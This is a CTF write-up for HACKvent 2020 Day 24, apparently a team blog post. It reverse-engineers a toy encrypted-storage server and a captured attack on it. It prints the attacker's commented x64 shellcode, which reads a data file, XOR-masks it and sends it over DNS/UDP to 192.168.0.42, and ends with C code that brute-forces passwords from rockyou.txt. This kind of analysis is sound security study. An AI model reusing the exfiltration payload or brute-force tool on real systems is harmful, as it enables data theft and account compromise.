HACKvent 2020 - Day 24

01-01-2021 - 9 minutes, 33 seconds - CTF Reverse Engineering

Challenge - Santa's Secure Data Storage

In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.

According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.

Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.

Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!

Mission

Santa and the elves need your help! The intrusion detection system captured the network traffic of the whole attack. How did the attacker got in? Was (s)he able to steal the flag?

HV20D24.zip

Solution - Overview

Given was the linux (socat) server application as binary and the captured network traffic. The server application had a simple login & user creation prompt and the ability to store data. Passwords were stored as custom hash, the user data encrypted with a custom rolled cryptographic function.

First step was to disassemble the binary. It was a 64-bit executable with some debug symbols left in. This made the disassembled, and later with retdec and ghidra decompiled code very readable. We got a rough overview of the code, especially the en- & decryption parts. Most notably that the decryption key is the hash of the users password. Next we moved on to the network trace which we analyzed with wireshark.

There were two interesting things in it. For one, when the attacker was in the main menu prompt, he deployed an exploit by appending it to his selection. Presumably it worked by overflowing one of the stack allocated buffers we saw earlier and rewriting a return address to execute the payload.

The second thing of interest was a DNS query from the victim to the attacker that followed the deployment of the payload. It did not contain a regular name to be queried but binary data. Apparently the attacker was able to extract something.

Image of the network trace
The network trace contains the exploit the attacker used, as well as the stolen data.

Solution - The Attack

Our goal was to retrieve the flag and the only places it could be was either the payload or the extracted data in the DNS query. We chose to go with the query as it made the most sense. In the query there were 34 bytes from which we assumed they must contain the flag. Since the bytes made no sense whatsoever we further assumed they were still encrypted as the server doesn't hold the unencrypted data very long.

Bruteforcing the password for the encrypted data via the server application was very slow. It required creating a new user for each entry in the password list and hoping the manually placed encrypted data file can be decrypted with this users password hash. Even programmatically attaching to stdin/stdout was slow. So we tried to get the hash and decryption method running locally in our brute force application. None of the decompiled functions produced correct results (verified with known password hashes and encrypted data). Ghidra produced the nearly working code however, and we felt comfortable fixing it. The listings below shows what the decompiler gave us and what our semi-cleaned version looked like on the example of the keystream_get_char() function.

Output of ghidra:

long keystream_get_char(uint param_1,long param_2)

{
  uint uVar1;
  undefined8 local_22;
  undefined2 local_1a;
  char local_9;

  local_22 = 0x563412c0efbeadde;
  local_1a = 0x9a78;
  uVar1 = (uint)((int)param_1 >> 0x1f) >> 0x1c;
  local_9 = *(char *)(param_2 + (int)((param_1 + uVar1 & 0xf) - uVar1));
  return (long)(int)((int)*(char *)((long)&local_22 + (ulong)(long)local_9 % 10) ^
                    (int)local_9 ^ param_1);
}

Fixed and cleaned version:

uint8_t keystream_get_char(int32_t i, const uint8_t* pwdhash)
{
    uint8_t lookup[] = { 0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a };
    uint8_t element = pwdhash[i & 0xf];
    return (uint8_t)(lookup[element % 10] ^ element ^ i);
}

Most work was to see the intended purpose on byte basis behind all the 64-bit operations. Eventually we got calc_hash(), keystream_get_char() and decrypt() running and could bruteforce the data file with rockyou.txt in matter of seconds instead of hours. But we got no result...

Our suspicion rose that the data in the DNS query wasn’t just the encrypted flag. We disassembled the exploit the attack used, using some online tool and found that the data seems to be modified before transmission. This was also confirmed to us by fellow hacker "MtHonegg".

In the following listing you can see the commented x64 assembly code. The loop around offset 0x0069 is what drew our attention. After the file is loaded, every 4 bytes are xor'd with 0xdeadbeef and only then sent back to the attacker! So before decrypting we need to reverse this operation. Only then we'd have the encrypted data.

0000 68 74 78 74 00                   push   0x747874               ; "txt"
0005 48 bf 74 61 5f 64 61 74 61 2e    movabs rdi,0x2e617461645f6174 ; "ta_data."
000f 57                               push   rdi
0010 48 bf 64 61 74 61 2f 73 61 6e    movabs rdi,0x6e61732f61746164 ; "data/san"
001a 57                               push   rdi
001b 48 89 e7                         mov    rdi,rsp                ; arg1: path
001e 48 31 f6                         xor    rsi,rsi                ; arg2: O_RDONLY
0021 48 31 d2                         xor    rdx,rdx                ; arg3: mode
0024 b8 02 00 00 00                   mov    eax,0x2                ; syscall no. 2
0029 0f 05                            syscall                       ; open()
002b 48 89 c7                         mov    rdi,rax
002e 48 ba 00 00 01 00 01 00 00 00    movabs rdx,0x100010000
0038 52                               push   rdx
0039 6a 00                            push   0x0
003b 6a 00                            push   0x0
003d 6a 00                            push   0x0
003f 6a 00                            push   0x0
0041 48 89 e6                         mov    rsi,rsp
0044 48 ba 01 00 00 00 00 00 00 20    movabs rdx,0x2000000000000001
004e 52                               push   rdx
004f 48 ba 00 00 00 13 37 01 00 00    movabs rdx,0x13713000000
0059 52                               push   rdx
005a ba 20 00 00 00                   mov    edx,0x20
005f b8 00 00 00 00                   mov    eax,0x0                ; syscall no. 0
0064 0f 05                            syscall                       ; read()
0066 48 31 c9                         xor    rcx,rcx                ; rcx = 0
0069 81 34 0e ef be ad de             xor    DWORD PTR [rsi+rcx*1],0xdeadbeef
0070 48 83 c1 04                      add    rcx,0x4                ; rcx += 4
0074 48 83 f9 20                      cmp    rcx,0x20               ; if(rcx == 32)
0078 75 ef                            jne    0x00000069             ; jump 0x69 -> loop
007a bf 02 00 00 00                   mov    edi,0x2                ; arg1: AF_INET
007f be 02 00 00 00                   mov    esi,0x2                ; arg2: SOCK_DGRAM
0084 48 31 d2                         xor    rdx,rdx                ; arg3: protocol
0087 b8 29 00 00 00                   mov    eax,0x29               ; syscall no. 41
008c 0f 05                            syscall                       ; socket()
008e 48 89 c7                         mov    rdi,rax
0091 48 89 e6                         mov    rsi,rsp
0094 48 83 c6 03                      add    rsi,0x3
0098 ba 32 00 00 00                   mov    edx,0x32
009d 41 ba 00 00 00 00                mov    r10d,0x0
00a3 6a 00                            push   0x0
00a5 49 b8 02 00 00 35 c0 a8 00 2a    movabs r8,0x2a00a8c035000002  ; set ip: 192.168.0.42
00af 41 50                            push   r8
00b1 49 89 e0                         mov    r8,rsp
00b4 41 b9 10 00 00 00                mov    r9d,0x10
00ba b8 2c 00 00 00                   mov    eax,0x2c               ; syscall no. 44
00bf 0f 05                            syscall                       ; sendto
00c1 bf 00 00 00 00                   mov    edi,0x0
00c6 b8 3c 00 00 00                   mov    eax,0x3c               ; syscall no. 60
00cb 0f 05                            syscall                       ; exit
00cd 0a                               .byte 0xa

Reading the code of the exploit we also realized that the encrypted data is supposed to be 32 bytes long. In the DNS query were got 34. After short research it turned out that the leading byte 0x20 was actually part of the protocol and indicates the length. The trailing 0x00 was a terminator. Removing both, with the xor in place we got the flag after a few seconds of brute force.

Password 'xmasrocks' looks good:
HV20{0h_n0es_fl4g_g0t_l34k3d!1}
Done. Checked 14344871 passwords.

All in all we liked the challenge. It was technical and its aspects were what we'd consider real hacking. Furthermore, we learned to not be afraid of assembly. The source code for our program that we used to solve the challenge, can be found below. Actually it is a cleaned up version, as the original was a mess and included various "unit tests".

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

uint8_t keystream_get_char(int32_t i, const uint8_t* pwdhash)
{
    uint8_t lookup[] = { 0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a };
    uint8_t element = pwdhash[i & 0xf];
    return (uint8_t)(lookup[element % 10] ^ element ^ i);
}

void decrypt(uint8_t* data, const uint8_t* hash, int max) 
{
    for (int i = 0; i < max; ++i)
    {
        uint8_t key = keystream_get_char(i, hash);
        data[i] = data[i] ^ key;
    }
}

void calc_hash(const char* in, ulong len, uint32_t* dest)
{
    char cVar1;
    ulong local_58 = 0x68736168;
    ulong local_50 = 0xdeadbeef;
    ulong local_48 = 0x65726f6d;
    ulong local_40 = 0xc00ffeee;
    ulong local_10 = 0x68736168;
    ulong local_18 = 0xdeadbeef;
    ulong local_20 = 0x65726f6d;
    ulong local_28 = 0xc00ffeee;
    int i = 0;

    while ((ulong)(long)i < len) {
        cVar1 = in[i];
        local_50 = local_10 ^
            (long)(int)(cVar1 * i & 0xffU ^ (int)cVar1 |
                ((int)cVar1 * (i + 0x31) & 0xffU ^ (int)cVar1) << 0x18 |
                ((int)cVar1 * (i + 0x42) & 0xffU ^ (int)cVar1) << 0x10 |
                ((int)cVar1 * (i + 0xef) & 0xffU ^ (int)cVar1) << 8);
        local_48 = local_18 ^
            (long)(int)(cVar1 * i & 0x5aU ^ (int)cVar1 |
                ((int)cVar1 * (i + 0xc0) & 0xffU ^ (int)cVar1) << 0x18 |
                ((int)cVar1 * (i + 0x11) & 0xffU ^ (int)cVar1) << 0x10 |
                ((int)cVar1 * (i + 0xde) & 0xffU ^ (int)cVar1) << 8);
        local_40 = local_20 ^
            (long)(int)(cVar1 * i & 0x22U ^ (int)cVar1 |
                ((int)cVar1 * (i + 0xe3) & 0xffU ^ (int)cVar1) << 0x18 |
                ((int)cVar1 * (i + 0xde) & 0xffU ^ (int)cVar1) << 0x10 |
                ((int)cVar1 * (i + 0xd) & 0xffU ^ (int)cVar1) << 8);
        local_58 = local_28 ^
            (long)(int)(cVar1 * i & 0xefU ^ (int)cVar1 |
                ((int)cVar1 * (i + 0x52) & 0xffU ^ (int)cVar1) << 0x18 |
                ((int)cVar1 * (i + 0x24) & 0xffU ^ (int)cVar1) << 0x10 |
                ((int)cVar1 * (i + 0x33) & 0xffU ^ (int)cVar1) << 8);
        i = i + 1;

        local_28 = local_58;
        local_20 = local_40;
        local_18 = local_48;
        local_10 = local_50;
    }

    dest[0] = local_58;
    dest[1] = local_50;
    dest[2] = local_48;
    dest[3] = local_40;
    return;
}

int main()
{
    uint8_t santa_data_xored[] = { 
        0xe5, 0xaf, 0xe5, 0x9d, 0x31, 0xac, 0xa3, 0xca, 
        0x21, 0x1e, 0xc3, 0x79, 0xa6, 0x73, 0x23, 0x5e, 
        0xda, 0xb6, 0xa0, 0x8d, 0x2e, 0xd3, 0xb7, 0xb6, 
        0x6b, 0x55, 0x85, 0x7e, 0xc8, 0x34, 0x22, 0x7a };
    uint8_t santa_data[32] = { 0 };

    uint32_t* src = (uint32_t*)santa_data_xored;
    uint32_t* dst = (uint32_t*)santa_data;
    for (int i = 0; i < 8; i++)
    {
        *dst++ = *src++ ^ 0xdeadbeef;
    }

    char line[255];
    uint8_t pwdhash[16];
    uint8_t inplace[64];
    uint32_t counter = 0;

    FILE* file = fopen("rockyou.txt", "r");

    while (fgets(line, 255, file))
    {
        int len = strlen(line);
        line[len - 1] = '\0';
        calc_hash(line, len - 1, (uint32_t*)&pwdhash);

        memcpy(inplace, santa_data, 32);
        decrypt(inplace, pwdhash, 32);
        if (strstr((const char*)inplace, "HV20{") != 0)
        {
            printf("Password '%s' looks good:\n", line);
            puts((const char*)inplace);
        }

        counter++;
    }

    printf("Done. Checked %u passwords.\n", counter);
    fclose(file);
    return 0;
}

Next Post Previous Post